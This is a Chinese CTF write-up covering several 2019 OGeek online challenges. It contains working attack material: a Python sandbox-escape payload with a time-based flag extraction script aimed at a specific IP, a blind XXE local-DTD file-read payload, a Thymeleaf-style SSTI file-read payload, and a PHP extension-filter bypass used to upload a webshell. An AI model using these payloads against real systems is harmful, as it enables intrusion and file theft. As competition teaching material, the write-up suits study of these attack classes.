2019 ogeek线上赛部分题解WriteUp

2019 ogeek线上赛部分题解WriteUp

Pybox

测试发现语法错误返回try again !XD,使用到被ban的关键字os返回的是os can not be used!

并且没有回显的信息,根据题目的提示cut flag sleep这三个关键字,猜测可能是基于时间来盲打flag

这里ossys关键字被过滤了,测试一下importgetattribute

os模块仍然遭到禁用

试到下面的,用闭包抽出来外部参数的变量 (Python3 所以 func_closureclosure 都可以使) 来引用 os 模块,再调用 system,因为 system 和 os 被屏蔽了,需要用加号连接起来绕过屏蔽。测试执行 sleep 5 成功了。

那么接下来就是想办法逐位读取flag,使用到题目提示的cut -b命令

然后用linux的if then语句将读取flag的判断语句与条件sleep结合起来

命令如下:

1
a=`cut -b 1 /home/flag`;if [ $a = 'a' ];then sleep 5;fi

最终payload如下:

1
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -b %s /home/flag`;if [ $a = "%s" ];then sleep 5;fi')

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import time

s = "0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM{}"
flag = ""

payload = '''__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -b %s /home/flag`;if [ $a = "%s" ];then sleep 5;fi')'''


for i in range(1,60):
p = remote('47.112.108.17',12312)
p.recvuntil('>>>')
print 'try:'+str(i)
for c in s:
ti = time.time()
t = payload % (str(i),c)
p.sendline(t)
p.recvuntil('>>>')
if time.time() > ti+5:
flag = flag + c
print flag
break
p.close()

运行得flag:flag{Pyt5onS4ndB0x4pParmOrS4ndb0xsorry}

2019

zsteg分析出图片有一串疑似base64加密得字符串:QW8obWdIW11XTyxyOFVTM0dNMlIySSVZQjdzdA==

1566890632534

base64解密得:Ao(mgH[]WO,r8US3GM2R2I%YB7st

再利用base85解密:

得到flag:flag{~h!%3W-9jKB6(fG}

LookAround

查看源码发现有个后台定时发送xml数据

应该是考察xxe

测试发现有报错信息

但是查询到结果却没有回显,这就需要利用blind xxe

参考:https://www.freebuf.com/vuls/207639.html

blind xxe思想就是将数据通过外部服务器或者报错信息带出来

首先尝试http协议,发现访问不了外部服务器,会出现超时的情况

那么只能考虑第二种,利用本地dtd文件报错信息带出数据

首先就要猜出本地dtd文件的绝对路径

参考:https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation

将里面的所有dtd文件的绝对路径尝试一遍,发现了本题dtd文件路径:

/usr/share/xml/fontconfig/fonts.dtd

接下来就是直接套里面的payload了

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

<!ENTITY % expr 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///FILE_TO_READ">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
]>
<message></message>

flag就在报错信息中:flag{f1c6811d4dce2ae37613cee977febe305f4de8fe}

Easy Realworld Challenge

题目右侧命令行窗口有个log viewer选项可以看到之前登录记录

用telnet执行ftp交互,端口号为21,用户名密码为ctf成功登入

然后使用help查看ftp的所有命令

用pasv开启被动传输

服务器返回给我们传输连接服务器的ip地址和端口号,ip地址是172.18.0.3,端口号是105*256+19=26899

开启一个新的窗口,再次用telnet连接

然后用retr命令来传输/flag文件

Render

查看源代码发现了后台的请求代码,将我们的json数据发送到/render后接受返回信息

一开始以为是xxe,其实是ssti

fuzz测试发现

1
{"content":"[[${1+1}]]"}

1+1被执行了

因为是java文件,需要用java得方法来读取,参考:https://dotblogs.com.tw/cylcode/2018/09/21/170510

payload:

1
{"content":"[[${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}]]"}

enjoy your self

复现环境:buuoj

打开靶机,看到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);

include "../../utils/utils.php";

if(isset($_REQUEST['filename']) and preg_match("/^\w{8}$/", $_REQUEST['filename'])){
$filename = strtolower($_REQUEST['filename']);
touch("backup/{$filename}.txt");
unlink(glob("backup/*")[0]);
}
else{
highlight_file(__FILE__);
}

?>

能写一个八位字母数字和下划线的txt文件,写后通过glob列出backup目录下第一个文件,然后删除该文件,

说明backup目录下一开始就存在一个八位数的txt文件,需要我们爆破

通过如下脚本爆破提示文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import time

s = "zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA9876543210"
url1 = "http://8bac7f4c-9454-4ea6-a387-2d6a087f6df1.node3.buuoj.cn/users/adeee0c170ad4ffb110df0cde294aecd/?filename="
url2 = "http://8bac7f4c-9454-4ea6-a387-2d6a087f6df1.node3.buuoj.cn/users/adeee0c170ad4ffb110df0cde294aecd/backup/"
result = ""


for i in range(7):
count = 0
for c in s:
time.sleep(0.5)
filename = result + c + (7-i)*'z'
print filename
r1 = requests.get(url1+filename)
r2 = requests.get(url2+filename+'.txt')
if r2.status_code == 404:
count1 = 0
flag = 1
while count1 < 10:
time.sleep(0.5)
print filename
r1 = requests.get(url1+filename)
r2 = requests.get(url2+filename+'.txt')
if r2.status_code == 200:
flag = 0
break
count1 = count1 + 1
if flag == 1:
result = result + s[count - 1]
print "result: " + result
break
count = count + 1

#result: aefebab
for c in s:
result = "aefebab%s" % (c)
url3 = "http://8bac7f4c-9454-4ea6-a387-2d6a087f6df1.node3.buuoj.cn/users/adeee0c170ad4ffb110df0cde294aecd/backup/"+result+'.txt'
r3 = requests.get(url3)
if r3.status_code == 200:
print 'result:'+result+'.txt'
#result:aefebab8.txt

爆出提示文件:aefebab8.txt

访问后获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!-- src/8a66c58a168c9dc0fb622365cbe340fc.php -->

<?php
include "../utils/utils.php";

$sandbox = Get_Sandbox();

if(isset($_REQUEST['method'])){
$method = $_REQUEST['method'];

if($method == 'info'){
phpinfo();
}elseif($method == 'download' and isset($_REQUEST['url'])){
$url = $_REQUEST['url'];
$url_parse = parse_url($url);

if(!isset($url_parse['scheme']) or $url_parse['scheme'] != 'http' or !isset($url_parse['host']) or $url_parse['host'] == ""){
die("something wrong");
}

$path_info = pathinfo($url);

if(strpos($path_info['filename'], ".") !== false){
die("something wrong");
}

if(!Check_Ext($path_info['extension'])){
die("something wrong");
}

$response = GetFileInfoFromHeader($url);

$save_dir = "../users/${sandbox}/uploads/{$response['type']}/";

if(is_dir(dirname($save_dir)) and !is_dir($save_dir)){
mkdir($save_dir, 0755);
}

$save_path = "{$save_dir}{$path_info['filename']}.{$response['ext']}";
echo "/uploads/{$response['type']}/{$path_info['filename']}.{$response['ext']}";

if(!is_dir($save_path)){
file_put_contents($save_path, $response['content']);
}
}
}

审计后发现是要我们通过最后的代码:file_put_contents($save_path, $response['content']);

来写shell,文件名和路径通过GetFileInfoFromHeader函数来获得:

1
2
3
4
$response = GetFileInfoFromHeader($url);
$save_dir = "../users/${sandbox}/uploads/{$response['type']}/";
$save_path = "{$save_dir}{$path_info['filename']}.{$response['ext']}";
echo "/uploads/{$response['type']}/{$path_info['filename']}.{$response['ext']}";

虽然这个函数我们不知道具体是怎么实现的,但是通过字面意思,可以猜测出是根据响应包的Content-Type字段和响应包的内容,测试一下

首先,需要注意一下Check_Ext,我们访问的url中的文件后缀必须是图片后缀,那么我们就在服务器上设置一个.htaccess文件,把图片文件解析成php文件,这样就能控制响应的头部了,下面访问:

1
?method=download&url=http://75702e8752a7/11.jpg

然后在服务器的11.jpg中写入代码:

得到路径:

所以说明:

1
2
3
$response['type']    => 响应包Content-Type中/的前半部分
$response['ext'] => 响应包Content-Type中/的后半部分
$response['content'] => 响应包内容

但是,我们如果写入后缀为php,会被替换成jpg

猜测是有对php后缀进行黑名单替换,那么,换成php/

还是被替换成了jpg,再换成php/.

发现成功写入php文件,访问:

成功getshell获取flag

最后读取一下utils.php看看源码中是怎么过滤后缀的:

1
2
3
4
5
6
7
8
9
10
11
12
$content_type = curl_getinfo($curl_handle, CURLINFO_CONTENT_TYPE) ?? "image/jpg";
$content_type = explode(";", $content_type, 2)[0];
$content_type = ($content_type !== "" and strpos($content_type, "/") !== false and strpos($content_type, "htaccess") == false) ? $content_type : "image/jpg";

$result = explode("/", $content_type, 2);

$type = $result[0] ?? "image";
$ext = trim($result[1], '/') ?? "jpg";

if(substr_count($ext, "..") > 2 or preg_match("/(php|php3|php4|php5|php6|phtml|pht|phpt)$/i", $ext)){
$ext = "jpg";
}

发现替换的规则是:/(php|php3|php4|php5|php6|phtml|pht|phpt)$/i,是以php结尾的后缀才会被替换成jpg,而且会把后缀末尾的/去除,所以可以用php/.绕过

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/08/30/OGeek-wp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog